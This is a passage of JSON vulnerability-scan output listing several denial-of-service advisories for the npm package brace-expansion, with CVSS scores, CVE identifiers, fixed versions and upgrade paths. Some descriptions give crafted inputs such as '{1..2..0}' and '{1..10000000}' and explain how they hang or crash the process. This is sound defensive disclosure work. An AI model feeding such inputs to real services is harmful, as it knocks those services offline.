"brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", 